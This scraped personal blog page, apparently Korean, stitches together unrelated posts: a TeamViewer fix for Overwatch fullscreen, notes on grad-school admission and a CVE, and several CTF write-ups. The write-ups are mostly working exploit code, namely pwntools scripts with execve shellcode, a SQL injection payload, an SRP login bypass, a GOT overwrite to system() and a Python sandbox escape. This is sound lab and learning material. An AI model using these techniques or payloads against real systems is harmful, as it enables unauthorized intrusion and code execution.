오버워치에서 전체화면으로 전환하면 계속 바탕화면으로 튕기는 현상이 발생할 때가 있다.

원인을 몰라서 창모드로 플레이를했는데, 알고보니 팀뷰어때문이었다..

팀뷰어를 끄니 정상적으로 전체화면으로 실행이 잘 된다.

아니면 팀뷰어의 QuickConnet기능을 꺼도 되는것 같다. 이 기능을 끄려면 크롬이나 PDF를 키면 뜨는 ↔버튼을 누른 뒤 disable시키거나, 팀뷰어에서 기타-옵션-고급-빠른 연결 단추-빠른 프레젠테이션 단추 보기 체크 해제를 하면 된다.



이번에 면접볼 때 사람이 좀 많은 것 같아보여서 조마조마했는데 합격했네요~ㅎㅎ

입학하면 열공해야겠어요!


[+ 2017.08.09]

먼저 메일 보내주셨는데 답변해드리지 못한 분들께 죄송하다는 말씀 드리고 싶습니다. 메일을 보내주시는 분들이 생각보다 많고 특히 학기중에 보낸 메일은 바빠서 나중에 답변하려다가 까먹었네요. 죄송합니다 ㅠㅠ

많은 분들이 질문하시는 것들 모아서 써두려고 합니다.


스펙은 다음과 같습니다.

학교: 연세대학교

학과: 컴퓨터과학과

학점: 4.07 / 4.3

기타: BoB 4기, iptime 공유기, ASUS 공유기, moodle 등 취약점 발견


포트폴리오는 졸업작품이나 동아리에서 진행했던 프로젝트, 대외활동 등으로 채우시면 될 듯 합니다.

매 학기 원서 지원 전에 정보보호 입시설명회를 개최하니 http://gsis.kaist.ac.kr/ 의 공지사항을 확인하시고 입시설명회에 참석하시면 많은 도움 얻을 수 있습니다. 교수님들도 많이 오시고 석박사과정 학생분들도 오시니 많은 정보 알아가실 수 있습니다.

칼리에서는 잘 돌아가지 않으니 우분투에서 돌리도록 하자.


똑같은 펌웨어도 fmk가 칼리에선 분석을 못 하고 우분투에선 잘 함..

pillpusher

It is a huge binary and static so hard to reverse. Inside sub_407027, it calls sub_408da4 which is thought to be strcat(). Its 2nd argument is pill's name so if we put lots of characters when adding pill, its 1st argument which is a buffer from sub_4076e2 will be overflowed. buffer is at EBP-0x210 so we need at least 536 Bytes to control RIP. Pill's name is at most 256 Bytes so we need to trigger strcat() at least 3 times. It asks for how many pills to add and if the number exceeds 2, count is fixed to 2. However, the signed comparison is performed so any negative number will pass the check.



Plus, adding a pill with 256 Byte name and listing the pill will leak the address near structures, and luckily that region is both writable and executable so add another pill with its name containing shellcode.

Here's full exploit: (sorry for its untidiness)


from pwn import *
import sys
from time import sleep

context.log_level = 'debug'

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

p = remote("pillpusher_a3b929dac1a7ca27fe5474bae0432262.quals.shallweplayaga.me",43868)
p.recvuntil("-> ")
p.sendline("2")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("A"*256)
p.recvuntil("Schedule: ")
p.sendline("")
p.recvuntil(": ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("3")
sleep(0.5)
data = p.recvuntil("-> ")
addr = u64(data[0x106:0x106+6]+"\x00\x00")
addr += 456+64+200

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("\x90"*200+shellcode)
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("B"*244+"\x00")
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
pillname = "\x02"*(36)+ p64(addr)

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline(pillname)
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")

p.sendline("6")
p.recvuntil("-> ")

p.sendline("3")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("p1")
p.recvuntil(": ")
p.sendline("2147483647")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("4")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("pat1")
p.recvuntil(": ")
p.sendline("Y")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("1")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil("? ")
p.sendline("P1")
p.recvuntil("Add pills. Blank line to quit.\n: ")
p.sendline(pillname)
sleep(0.5)
p.recvuntil(": ")
p.sendline("B"*244+"\x00")
sleep(0.5)
p.recvuntil(": ")
p.sendline("")
sleep(0.5)
p.recvuntil(": ")
p.sendline("p1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("5")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("P1")
p.recvuntil("-> ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil("-> ")
p.sendline("3")
p.recvuntil(": ")
p.sendline("pat1")
p.recvuntil("-> ")
p.sendline("4")
p.recvuntil(": ")
p.sendline("-1")
for i in range(2):
	p.recvuntil("Add pill: ")
	p.sendline("B"*244+"\x00")
p.recvuntil("Add pill: ")
p.sendline(pillname)
p.recvuntil("Add pill: ")
p.sendline("")
p.interactive()



public_server_ea2e768e20e89fb1aafbbc547cdb4636.py

We can leak the verifier by putting the following query in ID(Finding db name and table name must be preceded):

' union select verifier from users limit 1#

If \( c=g^2 \mod N \) then

\[ \begin{align} \mbox{session_secret} & =(g^2)^\mbox{random_server} \mod N \\ & =(g^\mbox{random_server})^2 \mod N \\ & =\mbox{public_server}^2 \mod N \end{align} \]

public_server can be easily computed by \( \mbox{residue} - \mbox{verifier} + N \). To find out which public_client makes \( c=\mbox{public_client} \times \mbox{verifier}=g^2 \mod N \), we need to compute \[ \mbox{public_client}=g^2 \times \mbox{verifier}^{-1} \mod N \].

from Crypto.Hash import SHA256
from socket import *

def mul_inv(a, n):
	if n == 1: return 1
	
	b0 = n
	x0, x1 = 0, 1
	
	while a > 1:
		q = a / n
		a, n = n, a%n
		x0, x1 = x1 - q * x0, x0
	if x1 < 0: x1 += b0
	return x1

N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L
g = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L
verifier = 0xebedd14b5bf7d5fd88eebb057af43803b6f88e42f7ce2a4445fdbbe69a9ad7e7a76b7df4a4e79cefd61ea0c4f426c0261acf5becb5f79cdf916d684667b6b0940b4ac2f885590648fbf2d107707acb38382a95bea9a89fb943a5c1ef6e6d064084f8225eb323f668e2c3174ab7b1dbfce831507b33e413b56a41528b1c850e59
public_client = mul_inv(verifier,N)*g**2 % N

def H(P):
	h = SHA256.new()
	h.update(P)
	return h.hexdigest()

def tostr(A):
	return hex(A)[2:].strip('L')

s=socket(2,1)
s.connect(("tonnerre.pwning.xxx",8561))
print s.recv(1024)
s.send("get_flag\n")
s.send(hex(public_client).strip("0x").strip("L")+"\n")
print s.recv(1024)
residue = int(s.recv(1024), 16)
public_server = residue - verifier
while public_server < 0:
	public_server += N
session_secret = (public_server)**2 % N
session_key = H(tostr(session_secret))
s.send(H(tostr(residue) + session_key)+"\n")
print s.recv(1024)
print s.recv(1024)

FLAG: PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}


fixedpoint_ae55a0eef8e55c22fe0b9ba2affeff67.c

0/1337.0=3a44119e, 0xffffffff/1337.0=4a44119e so we can only use gadgets between the range. All I had to do was change push   0x68732f6e and push   0x69622f2f (5-byte instructions) to mov al,(each char); dec esp; mov BYTE PTR [esp],al.

Below is formatted as gadget, Integer:Floating Point. 45 is inc esp, 46 is inc esi, which serve as NOP in the shellcode.

31 d2                   xor    edx,edx
89389b:45d23190
52                      push   edx
44bb50:45529090
b0 68                   mov    al,0x68
4bf422:4568b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 73                   mov    al,0x73
4f8b52:4573b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 2f                   mov    al,0x2f
395912:452fb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 6e                   mov    al,0x2f
395912:452fb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 2f                   mov    al,0x6e
4de982:456eb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 2f                   mov    al,0x69
4c47b2:4569b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 62                   mov    al,0x62
49fec2:4562b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 69                   mov    al,0x2f
395912:452fb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
89 e3                   mov    ebx,esp
948b2e:45e38990
52                      push   edx
44bb50:45529090
53                      push   ebx
450ee0:45539090
89 e1                   mov    ecx,esp
933cee:45e18990
8d 42 0b                lea    eax,[edx+0xb]
2d74e9:450b428d
cd 80                   int    0x80
15058ca:4680cd90

FLAG: PCTF{why_isnt_IEEE_754_IEEE_7.54e2}



butterfly_33e86bcc2f0a21d57970dc6907867bed

0x20041c6 = 0x400838<<3 | 6 will call start again and again, making us bit-flip until we want.

Put shellcode 0x400f00, but examine the original value and if the bit is different, flip it.

original = '\x00\x00\x00\x00\x03\x00\x0f\x00\x90\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x10\x00\x04\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x11\x00\x10\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x12\x00l\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x13\x00\xa0\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x14\x00\xb8\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x15\x00\xc0\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x16\x00\xc8\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x17\x00\xd0\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x18\x00\xb0\x0c`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x19\x00\xb8\x0c`\x00\x00\x00\x00\x00'
patched = '\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42'
base_addr = 0x400f00
for N,(i,j) in enumerate(zip(original, patched)):
	addr = base_addr + N
	addr <<= 3
	for k in range(8):
		if (ord(i) & (1<<k)) != (ord(j) & (1<<k)):
			print hex(addr | k)

Then I need  call the shellcode, so I patched 0x40086b with:

48 c7 c7 00 0f 40 00    mov    rdi,0x400f00

ff d7                   call   rdi

original='bf42094000e8fbfdff'.decode('hex')
patched= '48c7c7000f4000ffd7'.decode('hex')
base_addr = 0x40086b
for N,(i,j) in enumerate(zip(original, patched)):
	addr = base_addr + N
	addr <<= 3
	for k in range(8):
		if (ord(i) & (1<<k)) != (ord(j) & (1<<k)):
			print hex(addr | k)

Then trigger 0x40086b by entering 0.

FLAG: PCTF{b1t_fl1ps_4r3_0P_r1t3}

The challenge is composed of two parts. A python wrapper and pound binary.

Local File Inclusion vulnerability exists in the python wrapper and you can easily get the source code of pound by entering 1 followed by ../pound.c. (Of course, the name of the flag is not ../flag.txt or something predictable)

host_bfc6a768d1cccc49f1cd4b880bfdac9c.py

pound.c

In the second menu, you get to input two numbers, L1 and L2, the number of state's citizens. It gets compiled as a macro. However, the wrapper does not check whether the value of L1 and L2 is solely composed of digits. So we can put characters like N, which is defined as const int N=1024 in pound.c.

In propagate_forward() function, length_diff is defined as L2 - L1. If there is any way that makes length_diff bigger than the real difference, we may overwrite variables beyond s2_citizens, like announcement.

When learning C programming, we learnt that we must ALWAYS ENCLOSE EVERY VARIABLE IN BRACKETS using define macro. However, pound.c does not obey the rule so if we put L1=L2=1+N, L2-L1 becomes 1+N-1+N=2N when real difference is 0. By the time it reaches second for statement inside propagate_forward(), i is N+1 and length_diff is 2N so it starts overwriting 2N=2048 bytes starting from s1_name to announcement and so on. Overwrite announcement with sscanf@LIBC and print_states() will leak the address, and create announcement will overwrite sscanf@GOT. Payload would be as follows.

'z'x510 (state name 1)

'z'x510 (state name 2)

1

2147483647

2

134524972 (sscanf@GOT)

0 (Leaks memory)

2

64 (fill announcement_length to avoid announcement being overwrited inside create_announcement())

4

16

system@libc

4

/bin/sh


from pwn import *

context.log_level='debug'

s = remote("pound.pwning.xxx",9765)
#s = remote("localhost",8006)

raw_input()

print s.recvuntil("3. Quit")
s.sendline("2")
print s.recvuntil("State 1 Size:")
s.sendline("1+N")
print s.recvuntil("State 2 Size:")
s.sendline("1+N")

print s.recvuntil("first state:")
s.sendline("z"*510)

print s.recvuntil("second state:")
s.sendline("z"*510)

print s.recvuntil("Enter Your Choice: ")
s.sendline("1")

print s.recvuntil("Enter the amount to set the states in: ")
s.sendline("2147483647")

print s.recvuntil("Enter Your Choice: ")

s.sendline("2")
print s.recvuntil("Enter the amount to propagate: ")
s.sendline("134524972") # sscanf@got

print s.recvuntil("Enter Your Choice: ")
s.sendline("0")

x = s.recvuntil("Enter Your Choice: ")
import re
sscanf_libc = u32(re.findall("PSA: (.+)", x)[0][:4])
system_libc = sscanf_libc - 0x15f10
print hex(sscanf_libc), hex(system_libc)

s.sendline("2")
print s.recvuntil("Enter the amount to propagate: ")
s.sendline("64") # sscanf@got

print s.recvuntil("Enter Your Choice: ")
s.sendline("4")
print s.recvuntil("Enter the length of your announcement: ")
s.sendline("16\n"+p32(system_libc))

print s.recvuntil("Enter Your Choice: ")
#s.sendline("4")
#print s.recvuntil("Enter the length of your announcement: ")
s.sendline("/bin/sh")
s.interactive()


FLAG: PCTF{pr3pr0cess0rMacr0s@areFuture}

list, tuple

[1,locals().__setitem__("abs",lambda x:eval("ans+1"))][0]

dictionary

{1:(2,locals().__setitem__("abs",lambda x:eval("ans+1")))[0]}

BoB에서 웹프레임워크 취약점진단 과제를 한 결과:

처음으로 CVE를 받았다! (물론 쉬운 취약점이지만...ㅎㅎ)

프로젝트때 아쉽게 CVE를 받지 못했었는데...

굿굿~

+ Recent posts